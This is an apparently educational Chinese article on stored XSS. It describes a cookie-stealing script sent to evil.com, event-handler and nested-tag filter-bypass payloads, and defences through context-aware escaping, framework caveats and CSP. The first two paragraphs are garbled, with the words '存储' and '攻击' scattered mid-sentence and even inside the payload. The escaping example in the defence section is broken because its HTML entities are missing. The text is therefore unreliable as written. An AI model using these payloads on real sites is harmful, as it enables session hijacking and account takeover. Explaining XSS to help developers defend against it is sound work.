存储型xss攻击
一个论坛的存储帖子页面,用户提交的攻击评论被原样存进数据库,其他用户打开页面时,存储浏览器执行了评论里夹带的攻击<script>。这就是存储存储型XSS。恶意代码不是攻击挂在URL参数里骗人点击,而是存储直接住进了服务器,每个访问者都会中招。攻击
我见过一个真实案例。存储某小型电商站的攻击商品评价功能没做转义,攻击者在评价里写了这样一段:<script>new Image().src='//evil.com/steal?存储c='+document.cookie</script>。这条评价存进数据库后,攻击所有查看该商品的存储人都会悄悄把cookie发到攻击者服务器。攻击者拿到session ID,攻击直接冒充管理员登录后台。存储整个过程不需要钓鱼链接,不需要诱导点击,只要有人看那个页面就够了。
存储型XSS的危害比反射型大得多。反射型需要构造恶意URL骗人点,存储型不用。它像一颗埋在页面里的地雷,谁来踩谁炸。更麻烦的是,它可能潜伏很久才被发现。一个2019年的漏洞,2021年才被利用,中间两年恶意脚本安静地躺在数据库里,没人察觉。
攻击载荷的形态很多。不一定是<script>标签。事件属性也能触发,比如<img src=x onerror=alert(1)>。SVG标签、iframe、甚至CSS里的expression()(老IE)都可以。过滤<script>远远不够。很多开发者只做黑名单替换,把script删掉就完事。攻击者用<scr<script>ipt>嵌套绕过,或者用<img src=x onerror=...>,黑名单根本拦不住。
防御的核心是输出转义,不是输入过滤。数据存进数据库时是什么样不重要,重要的是渲染到HTML页面时,把<变成<,把>变成>,把引号也转掉。这样浏览器就不会把它当标签解析。不同上下文转义规则不一样。HTML正文里转义<>&就够了;属性值里还要转引号;JavaScript代码块里得用\x3c这种十六进制转义;CSS里又是另一套。搞错上下文,转义等于没转。
还有个常见误区:觉得用了前端框架就安全。React默认会转义,但dangerouslySetInnerHTML一开就破功。Vue的v-html同理。框架给的是默认安全,不是绝对安全。开发者主动关掉保护,漏洞照样来。
Content Security Policy能兜底。设置script-src 'self',内联脚本直接不执行。攻击者就算注入了<script>,浏览器也会拒绝运行。但CSP配置复杂,很多站点只设了report-only模式,只记录不拦截,等于没防。而且CSP对老浏览器兼容性差,不能当唯一防线。
我自己的判断:存储型XSS是Web安全里最被低估的漏洞之一。SQL注入这些年被重视了,因为拖库动静大。XSS呢?偷cookie、篡改页面、挂挖矿脚本,单次危害看起来小,但量大面广。一个存储型XSS漏洞,可能影响几十万用户,每个用户损失一点,加起来就是大事。更别提XSS能配合CSRF打组合拳,直接操作用户账号发帖、转账、改密码。
修复建议就一条:所有输出到HTML的数据,根据上下文做转义。别偷懒,别只过滤输入。用成熟的转义库,比如OWASP的Java Encoder或ESAPI。自己写正则?大概率漏。